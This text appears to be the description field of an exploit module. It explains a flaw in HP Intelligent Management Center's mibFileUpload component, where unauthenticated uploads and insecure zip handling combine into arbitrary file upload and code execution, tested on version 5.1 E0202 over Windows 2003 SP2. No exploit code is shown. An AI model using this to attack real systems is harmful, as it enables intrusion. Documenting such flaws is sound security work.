          This module exploits a code execution flaw in HP Intelligent Management Center.
        The vulnerability exists in the mibFileUpload which is accepting unauthenticated
        file uploads and handling zip contents in an insecure way. Combining both weaknesses
        a remote attacker can accomplish arbitrary file upload. This module has been tested
        successfully on HP Intelligent Management Center 5.1 E0202 over Windows 2003 SP2.
